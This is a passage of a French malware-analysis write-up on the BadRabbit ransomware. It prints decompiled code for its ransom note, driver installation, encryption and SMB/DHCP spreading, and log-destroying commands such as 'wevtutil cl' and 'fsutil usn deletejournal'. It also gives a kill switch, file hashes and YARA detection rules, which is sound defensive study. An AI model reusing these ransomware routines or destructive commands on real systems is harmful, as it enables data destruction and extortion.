undefined4 you_have_been_pwned(undefined4 *param_1) { local_8 = 0x10006106; wsprintfW(local_210,(LPCWSTR)&param_2_10011578,L"Readme.txt"); puVar2 = param_1; pWVar3 = PathCombineW(local_828,(LPCWSTR)(param_1 + 1),local_210); if ((pWVar3 != (LPWSTR)0x0) && (uVar4 = FUN_10006477(), uVar4 != 0)) { if (1 < uVar4) { uVar4 = uVar4 - 1; } DVar5 = WaitForMultipleObjects ((uint)(puVar2[0x13] != 0) + 1,(HANDLE *)(puVar2 + 0x12),0,uVar4 * 60000); if ((DVar5 != 0) && (hFile = CreateFileW(local_828,0x40000000,0,(LPSECURITY_ATTRIBUTES)0x0,1,0,(HANDLE)0x0), hFile != (HANDLE)0xffffffff)) { param_1 = (undefined4 *)0x0; BVar6 = FUN_100057e5(puVar2[0xe],*puVar2,puVar2 + 3,(LPWSTR *)&param_1); if (BVar6 != 0) { memset(&local_2828,0,0x1000); StrCatW(&local_2828, L"Oops! Your files have been encrypted.\r\n\r\nIf you see this text, your files areno longer accessible.\r\nYou might have been looking for a way to recover yourfiles.\r\nDon\'t waste your time. No one will be able to recover them withoutour\r\ndecryption service.\r\n\r\nWe guarantee that you can recover all your filessafely. All you\r\nneed to do is submit the payment and get the decryptionpassword.\r\n\r\nVisit our web service at caforssztxqzf2nm.onion\r\n\r\nYourpersonal installation key#2:\r\n\r\n" ); StrCatW(&local_2828,(LPCWSTR)param_1); } ``` ### cscc.dat Le module `infpub` permet de drop et d'installer d'autres modules pour poursuivre les autre stages du malware. Par exemple, `cscc.dat` qui est un chiffreur de disque légitime. Il est installé comme un service (Windows Client Side Caching DDriver). 1. Appeler OpenSCManagerW. 2. Mettre la clé de registre SYSTEM\\CurrentControlSet\\services\\cdfs : Imagepath “cscc.dat” 3. LowerFilters: SYSTEM\CurrentControlSet\Control\Class\{71A27CDD-812A-11D0-BEC7-08002BE2092F} 4. UpperFilters: SYSTEM\CurrentControlSet\Control\Class\{4D36E965-E325-11CE-BFC1-08002BE10318} 5. DumpFilters: SYSTEM\CurrentControlSet\Control\CrashControl\csccdumpfve.sys ```c iVar3 = RegSetValueExW(local_8,L"ImagePath",0,2,(BYTE *)L"cscc.dat",0x12); ``` La fonction permettant de créer `cscc.dat` : ```c DWORD cscc_service_creator(void) { SC_HANDLE hSCManager; SC_HANDLE hSCObject; DWORD local_8; hSCManager = OpenSCManagerW((LPCWSTR)0x0,(LPCWSTR)0x0,0xf003f); if (hSCManager == (SC_HANDLE)0x0) { local_8 = GetLastError(); } else { hSCObject = CreateServiceW(hSCManager,L"cscc",L"Windows Client Side Caching DDriver",0xf01ff,1,0 ,3,L"cscc.dat",L"Filter",(LPDWORD)0x0,L"FltMgr",(LPCWSTR)0x0, (LPCWSTR)0x0); if (hSCObject == (SC_HANDLE)0x0) { local_8 = GetLastError(); } else { local_8 = 0; CloseServiceHandle(hSCObject); } CloseServiceHandle(hSCManager); } return local_8; } ``` Le code suivant permet de définir les `UpperFilters`,`LowerFilters` ainsi que les `DumpFilters` : ```c DVar3 = modify_reg_key_value ( L"SYSTEM\\CurrentControlSet\\Control\\Class\\{71A27CDD-812A-11D0-BEC7-08002BE2092F}" ,L"LowerFilters"); if (((DVar3 == 0) && (DVar3 = modify_reg_key_value ( L"SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E965-E325-11CE-BFC1-08002BE10318}" ,L"UpperFilters"), DVar3 == 0)) && (DVar4 = GetVersion(), 5 < (byte)DVar4) ) { DVar3 = modify_reg_key_value(L"SYSTEM\\CurrentControlSet\\Control\\CrashControl",L"DumpFilters") ; } return DVar3; } ``` ### Méthode de chiffrement Du chiffrement avec clé publique est présent dans le malware, indiqué par cette fonction : ```c BOOL public_key_crypt_decrypt(HCRYPTPROV param_1,LPCWSTR param_2,HCRYPTKEY *public_key) { BOOL BVar1; BYTE *pbBinary; PCERT_PUBLIC_KEY_INFO pInfo; BOOL local_10; DWORD local_8; local_10 = 0; local_8 = 0; BVar1 = CryptStringToBinaryW(param_2,0,1,(BYTE *)0x0,&local_8,(DWORD *)0x0,(DWORD *)0x0); if ((BVar1 != 0) && (pbBinary = (BYTE *)LocalAlloc(0x40,local_8), pbBinary != (BYTE *)0x0)) { BVar1 = CryptStringToBinaryW(param_2,0,1,pbBinary,&local_8,(DWORD *)0x0,(DWORD *)0x0); if (BVar1 != 0) { param_2 = (LPCWSTR)0x0; BVar1 = CryptDecodeObjectEx(1,(LPCSTR)0x8,pbBinary,local_8,0,(PCRYPT_DECODE_PARA)0x0, (void *)0x0,(DWORD *)&param_2); if ((BVar1 != 0) && (pInfo = (PCERT_PUBLIC_KEY_INFO)LocalAlloc(0x40,(SIZE_T)param_2), pInfo != (PCERT_PUBLIC_KEY_INFO)0x0)) { BVar1 = CryptDecodeObjectEx(1,(LPCSTR)0x8,pbBinary,local_8,0,(PCRYPT_DECODE_PARA)0x0,pInfo, (DWORD *)&param_2); if (BVar1 != 0) { local_10 = CryptImportPublicKeyInfo(param_1,1,pInfo,public_kkey); } LocalFree(pInfo); } } LocalFree(pbBinary); } return local_10; } ``` Le malware génère un mot de passe décrit dans le `readme.txt` comme une `personnal installation key`, ce mot de passe est généré grâce à la fonction suivante : ```c BOOL generate_password(BYTE *buffer,DWORD dwLen) { BOOL crypt_context; DWORD error; HCRYPTPROV handle; handle = 0; crypt_context = CryptAcquireContextW(&handle,(LPCWSTR)0x0,(LPCWSTR)0x0,0x18,0xf0000000); if ((crypt_context == 0) && (error = GetLastError(), error != 0x80090016)) { return 0; } crypt_context = CryptGenRandom(handle,dwLen,buffer); CryptReleaseContext(handle,0); return crypt_context; } ``` La clé publique de l'attaquant est aussi dans le code : ``` u"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5clDuVFr5sQxZ+feQlVvZcEK0k4uCSF5SkOkF9A3tR6O/xAt89/PVhowvu2TfBTRsnBs83hcFH8hjG2V5F5DxXFoSxpTqVsR4lOm5KB2S8ap4TinG/GN/SVNBFwllpRhV/vRWNmKgKIdROvkHxyALuJyUuCZlIoaJ5tB0YkATEHEyRsLcntZYsdwH1P+NmXiNg2MH5lZ9bEOk7YTMfwVKNqtHaX0LJOyAkx4NR0DPOFLDQONW9OOhZSkRx3V7PC3Q29HHhyiKVCPJsOW1l1mNtwL7KX+7kfNe0CefByEWfSBt1tbkvjdeP2xBnPjb3GE1GA/oGcGjrXc6wV8WKsfYQIDAQAB" ``` ### Propagation du malware dans le réseau Le reverse de `infopub.dat` permet de découvrir des fonctions qui permettent des connections à des hosts du réseau découverts via la table ARP. Par exemple, la fonction suivante : ```c pFVar1 = GetProcAddress(local_14,"GetExtendedTcpTable"); if (pFVar1 == (FARPROC)0x0) { GetLastError(); } else { dwBytes = 0x100000; dwFlags = 8; local_c = 0x100000; hHeap = GetProcessHeap(); lpMem = (uint *)HeapAlloc(hHeap,dwFlags,dwBytes); local_10 = lpMem; if (lpMem != (uint *)0x0) { iVar2 = (*pFVar1)(lpMem,&local_c,0,2,1,0); uVar3 = (uint)(iVar2 == 0); if ((iVar2 == 0) && (local_8 = 0, *lpMem != 0)) { pbVar4 = (byte *)((int)lpMem + 0x12); do { if (*(int *)(pbVar4 + -0xe) == 5) { wsprintfW(local_54,L"%u.%u.%u.%u",(uint)pbVar4[-2],(uint)pbVar4[-1],(uint)*pbVar4, (uint)pbVar4[1]); FUN_10006b95(param_1); lpMem = local_10; } local_8 = local_8 + 1; pbVar4 = pbVar4 + 0x14; } while (local_8 < *lpMem); } dwFlags = 0; hHeap = GetProcessHeap(); HeapFree(hHeap,dwFlags,lpMem); } ``` L'instruction où le `sprintf` montre clairement qu'une adresse ip est placée dans le buffer `local_54`. La propagation se fait par SMB, cela peut-être remarqué en découvrant les fonctions d'initialisation de socket et la présence du port 445 dans la définition du port : ```c int try_smb_ntbios_connection(undefined4 param_1) { int iVar1; iVar1 = connection(param_1,0x1bd); if ((iVar1 == 0) && (iVar1 = connection(param_1,0x8b), iVar1 == 0)) { return 0; } return 1; } ``` `0x1bd` correspond au port 445 en hexadécimal. Le malware essaye de se connecter au port 135, qui correspond à NetBios. La fonction `connection` est assez classique : ```c undefined4 connection(undefined4 param_1,u_short port) { SOCKET s; int iVar1; u_int local_12c; SOCKET local_128; ADDRESS_FAMILY addr; u_short local_22; undefined4 local_20; undefined2 uStack28; undefined4 uStack26; undefined2 uStack22; u_long arg; timeval time; undefined4 local_8; s = socket(2,1,0); if (s != 0) { addr = 2; local_20 = param_1; local_22 = ntohs(port); iVar1 = ioctlsocket(s,-0x7ffb9982,&arg); if (iVar1 != -1) { connect(s,(sockaddr *)&addr,0x10); local_12c = 1; time.tv_sec = 2; time.tv_usec = 0; local_128 = s; iVar1 = select(s + 1,(fd_set *)0x0,(fd_set *)&local_12c,(fd_set *)0x0,&time); if (iVar1 != -1) { iVar1 = __WSAFDIsSet(s,(fd_set *)&local_12c); if (iVar1 != 0) { local_8 = 1; } } } closesocket(s); } return local_8; } ``` L'utilisation de DHCP est aussi utilisé pour se propager, on retrouve par exemple ce bout de code qui permet la récupération de hosts via DHCP : ```c GetComputerNameExW(ComputerNamePhysicalNetBIOS,local_248,&local_38); dwFlags = DhcpEnumSubnets(local_248,&local_30,0x400,local_c,&local_20,&local_28); if (dwFlags == 0) { local_3c = local_c[0]->NumElements; if (local_3c != 0) { do { dwFlags = DhcpGetSubnetInfo((WCHAR *)0x0,local_c[0]->Elements[uVar4],&local_14); if ((dwFlags == 0) && (local_14->SubnetState == DhcpSubnetEnabled)) { dwFlags = DhcpEnumSubnetClients ((WCHAR *)0x0,local_c[0]->Elements[uVar4],&local_2c,0x10000,&local_10, &local_24,&local_40); if (dwFlags == 0) { local_34 = local_10->NumElements; if ((local_34 != 0) && (uVar5 < local_34)) { do { struct_IP = local_10->Clients[uVar5]; if (struct_IP != (LPDHCP_CLIENT_INFO)0x0) { uVar1 = htonl(struct_IP->ClientIpAddress); iVar2 = try_smb_connection(uVar1); if (iVar2 != 0) { in = (in_addr)htonl(struct_IP->ClientIpAddress); pcVar3 = inet_ntoa(in); lpMem = FUN_1000641a(pcVar3); if (lpMem != (LPWSTR)0x0) { FUN_10006b95(param_1); dwFlags = 0; hHeap = GetProcessHeap(); HeapFree(hHeap,dwFlags,lpMem); } } } uVar5 = local_18 + 1; local_18 = uVar5; } while (uVar5 < local_34); } DhcpRpcFreeMemory(local_10); } } uVar4 = local_1c + 1; local_1c = uVar4; } while (uVar4 < local_3c); } DhcpRpcFreeMemory(local_c[0]); } ``` ## Post exploitation Des fonctions de post-exploitation sont retrouvés dans le binaire, souvent des fonctions de modification ou de suppresions des logs : ```c void delete_logs_wevtutil(void) { short *psVar1; int iVar2; undefined4 *puVar3; undefined4 *puVar4; WCHAR full_cmdline [1023]; undefined2 local_20e; WCHAR cmdline [260]; cmdline[0] = L'\0'; wsprintfW(cmdline,L"%wswevtutil cl %ws & ",cmdline,L"Setup"); wsprintfW(cmdline,L"%wswevtutil cl %ws & ",cmdline,L"System"); wsprintfW(cmdline,L"%wswevtutil cl %ws & ",cmdline,L"Security"); wsprintfW(cmdline,L"%wswevtutil cl %ws & ",cmdline,L"Application"); puVar4 = (undefined4 *)&local_20e; do { psVar1 = (short *)((int)puVar4 + 2); puVar4 = (undefined4 *)((int)puVar4 + 2); } while (*psVar1 != 0); iVar2 = 0x10; puVar3 = (undefined4 *)L"fsutil usn deletejournal /D %c:"; while (iVar2 != 0) { iVar2 = iVar2 + -1; *puVar4 = *puVar3; puVar3 = puVar3 + 1; puVar4 = puVar4 + 1; } wsprintfW(full_cmdline,cmdline,(uint)(ushort)pszPath_10017bc8); local_20e = 0; execute_cmd(full_cmdline,3); return; } ``` La fonction précédente confirme les résultats de l'analyse dynamique. ## Kill Switch [ - retour au sommaire](#Sommaire-) Une partie du code de `install_flash_player.exe` crée le fichier `C:\Windows\infpub.dat` en utilisant la fonction `CreateFileW`. zz ![](https://cdn.discordapp.com/attachments/801464687853830174/814460834154807336/unknown.png) Il l'exécute ensuite un peu plus loin : ![](https://cdn.discordapp.com/attachments/801464687853830174/814460984206950430/unknown.png) c'est la commande suivante qui sera exécuté : `rundll32.exe C:\Windows\ws,#1 15 ` L'idée est donc d'empêcher au programme d'écrire ce fichier. Pour ce faire, nous allons créer nous même un fichier infpub.dat et ne donner aucune permission permettant l'écriture. Seul le **Owner** aura la possibilité de modifier les droits du fichier. ![](https://cdn.discordapp.com/attachments/801464687853830174/814462403340533770/unknown.png) 1. Désactiver l'héritage des droits du parents. 2. Séléctionner les différents groupe d' 3. supprimer leur droits 4. L'ordinateur est désormais non infecté ![](https://cdn.discordapp.com/attachments/801464687853830174/814464221642752000/unknown.png) <center> <i>"procmon : install_flash_player CreateFile C:\Windows\infpub.dat ACCESS DENIED"</i> </center> ```mermaid graph LR A[install_flash_player.exe] --> B[infpub.dat : DROPPER] B --> D[cscc.dat] B --> E[dipsci.exe] ``` <center> <i>"arbre simplifié de création des fichiers"</i> </center> <br><br><br> ![](https://www.rapelite.com/wp-content/uploads/kaaris-1350-.jpg) <center style="font-size:50px;color:red"> <i>"ACCESS DENIED"</i> </center> ### Autre possibilité Le malware n'efface pas les fichiers shadow (fonctionnalité de Windows) après chiffrement des fichiers. Il est donc possible de récupérer les fichiers si les fichiers shadow sont activés sur la machine infectée. ## Indice de compromission [ - retour au sommaire](#Sommaire-) Un indice de compromission permet, avec un haut degrés de certitude, de repérer un artefact malveillant dans un réseau ou un système d'exploitation. Dans notre cas nous utiliserons les hashés des fichiers suivants: `fbbdc39af1139aebba4da004475e8839` – install_flash_player.exe `1d724f95c61f1055f0d02c2154bbccd3` – C:Windowsinfpub.dat `b14d8faf7f0cbcfad051cefe5f39645f` – C:Windowsdispci.exe ## Règles YARA [ - retour au sommaire ](#Sommaire-) Un fichier sera créé avec plusieurs rêgles YARA dont une commune à toutes qui sera mise en privé afin de ne pas avoir de faux positif : cette règle qui sera utilisée par les autres couvre les easter-egg sur les noms des dragons de ***Daenerys de la maison Targaryen, « Born by the Storm », le premier de son nom, Reine des Andals, Des Rhoynars et des Premiers Hommes, Dame des Sept Royaumes, Protecteur du Royaume, Princesse de Dragon Rock, Khaleesi de la Grande Mer d’Herbes, « Le Non brûlé », « Mère Dragons», Reine de Meereen, « Briseuse de Chaine »*** qui sont utilisés comme nom des tâches programmées par le malware : ``` private rule Dragons { strings: $s20 = "drogon" wide nocase $s21 = "viserion" wide nocase $s22 = "rhaegal" wide nocase condition: 1 of them } ``` Tous les fichiers créés par le Malware sont des PE et leur taille n'excède pas les 700KB : ``` private rule PE { condition: uint16(0) == 0x5a4d and filesize < 700KB } ``` Pour s'assurer que le fichier est un PE (portable executable) en comparera la première adresse (0) à 0x5a4d qui est un nombre magique ("MZ" en ascii) ![](https://i.imgur.com/glIlQbw.png) > L'en-tête MZ permet au système d'exploitation de reconnaître le fichier comme étant un exécutable valide dans le cas où celui-ci serait lancé depuis MS-DOS, afin de pouvoir exécuter son segment DOS. > <center><i>"site: wikipedia"</i></center> Le modificateur `wide` dans les règles qui suivent indiquent la recherche de la string en cherchant les caractères normalement encodés sur 8 bits (A = 41) seront encodés sur 16 bits (A = 41 00 ). Le modificateur `fullword` indique que les caractères autour de la string spécifié ne sont pas des caractères alphanumeriques. ``` rule Badrabbit_simple { strings: /* rundll32.exe */ $s1 = {72 00 75 00 6E 00 64 00 6C 00 6C 00 33 00 32 00 2E 00 65 00 78 00 65 00} /* C:\Windows\infpub.dat */ $s2 = {43 00 3A 00 5C 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 5C 00 69 00 6E 00 66 00 70 00 75 00 62 00 2E 00 64 00 61 00 74 00} $s3 = "infpub.dat" wide ascii condition: /* 19 fonctions de la lib kernel32 importées */ pe.imports("kernel32.dll") == 19 and 1 of them } ``` concernant le fichier dispci : ``` rule dispci_Badrabbit { strings: $x1 = "schtasks /Create /SC ONCE /TN viserion_%u /RU SYSTEM /TR \"%ws\" /ST" fullword wide $x2 = "C:\\Windows\\cscc.dat" fullword wide $s1 = "\\\\.\\GLOBALROOT\\ArcName\\multi(0)disk(0)rdisk(0)partition(1)" fullword wide $s2 = "dispci.exe" fullword wide $s9 = "\\AppData" fullword wide $s10 = "Readme.txt" fullword wide $s11 = "bootable partition not mounted" fullword ascii $s12 = ".3ds.7z.accdb.ai.asm.asp.aspx.avhd.back.bak.bmp.brw.c.cab.cc.cer.cfg.conf.cpp.crt.cs.ctl.cxx.dbf.der.dib.disk.djvu.doc.docx.dwg." wide condition: uint16(0) == 0x5a4d and filesize < 400KB and pe.imphash() == "94f57453c539227031b918edd52fc7f1" and all of them and Dragons and PE /* 25 fonctions de la lib user32 (interface utilisateur) importées */ and pe.imports("user32.dll") == 25 } ``` concernant le fichier infpub : ``` rule infpub_BadRabbit { strings: $x2 = "schtasks /Create /RU SYSTEM /SC ONSTART /TN rhaegal /TR \"%ws /C Start \\\"\\\" \\\"%wsdispci.exe\\\"" fullword wide $x3 = "C:\\Windows\\infpub.dat" fullword wide $s3 = "\\\\.\\pipe\\%ws" fullword wide $s4 = "fsutil usn deletejournal /D %c:" fullword wide $s8 = "SYSTEM\\CurrentControlSet\\services\\%ws" fullword wide $s9 = "process call create \"C:\\Windows\\System32\\rundll32.exe" fullword wide $s10 = "%ws C:\\Windows\\%ws,#1 %ws" fullword wide condition: uint16(0) == 0x5a4d and filesize < 700KB and ( 1 of ($x*) or 2 of them ) and Dragons and PE } ``` concernant le fichier cscc : ``` rule cscc_Badrabbit { strings: /*HAL.dll*/ $s1 = {48 41 4C 2E 64 6C 6C} condition: /* une fonction importée dans la lib HAL.dll */ pe.imports("HAL.dll") == 1 and 1 of them and PE } ``` ```shell kali@kali$ yara -s rules_badrabbit.yar malware| grep -oP "((.*malware.*)|(.*:[$].{1,3}:))" ``` <center><li>Avec cette commande, on affichera les règles et l'adresse de la ligne de l'exécutable associée au nom de variable de la chaine de caractère ainsi que les noms des fichiers concernées "</li></center> >output : ``` dispci_Badrabbit malware/dispci.exe 0x148a0:$x1: 0x14430:$x2: 0x14500:$s1: 0x2130c:$s2: 0x14398:$s9: 0x14650:$s10: 0x1b4f9:$s11: 0x1f649:$s11: 0x13ff0:$s12: cscc_Badrabbit malware/cscc.dat 0x30cc6:$s1: Badrabbit_simple malware/install_flash_player.exe 0x60fa:$s1: 0x6114:$s2: 0x612a:$s3: 0x6140:$s3: infpub_BadRabbit malware/infpub.dat 0xf428:$x2: 0x109c4:$s3: 0x10be0:$s4: 0xf5e8:$s8: 0x10dc0:$s9: 0x10aa4:$s10: ``` ## Références à Game of Thrones Le malware crée trois services avec les noms des trois dragons de Game of Thrones (les développeurs doivent être des fans de GoT ?): ```c wsprintfW(local_61c, L"schtasks /Create /RU SYSTEM /SC ONSTART /TN rhaegal /TR \"%ws /C Start \\\"\\\"\\\"%wsdispci.exe\\\" -id %u && exit\"" ,local_20c,param_1,DAT_10017bbc); BVar1 = execute_cmd(local_61c,0); ``` ```c execute_cmd(L"schtasks /Delete /F /TN drogon",0); } if (((byte)DAT_10017bc0 & 1) != 0) { BVar2 = InitiateSystemShutdownExW((LPWSTR)0x0,(LPWSTR)0x0,0,1,1,0x80000000); if (BVar2 == 0) { ExitWindowsEx(6,0); } } ``` ## Conclusion [ - retour au sommaire](#Sommaire-) Il est possible de trouver de nombreux killswitch et de nombreuses règles yara afin de "flag" le malware. Cependant, ces deux éléments se basent sur des chaînes de caractères, il est alors aisé pour les variantes du malware d'échapper à nos mesures en modifiant, par exemple en utilisant un autre nom que infpub.dat, ou alors encoder/chiffrer les strings utilisées et les décoder/déchiffrer pendant l'exécution. ## Sources [ - retour au sommaire](#Sommaire-) La documentation Microsoft expliquant les différents call à l'api Windows : https://docs.microsoft.com/fr-fr/ La documentation qui a permit d'écrire les règles YARA : https://yara.readthedocs.io/en/stable/ https://medium.com/palantir/windows-privilege-abuse-auditing-detection-and-defense-3078a403d74e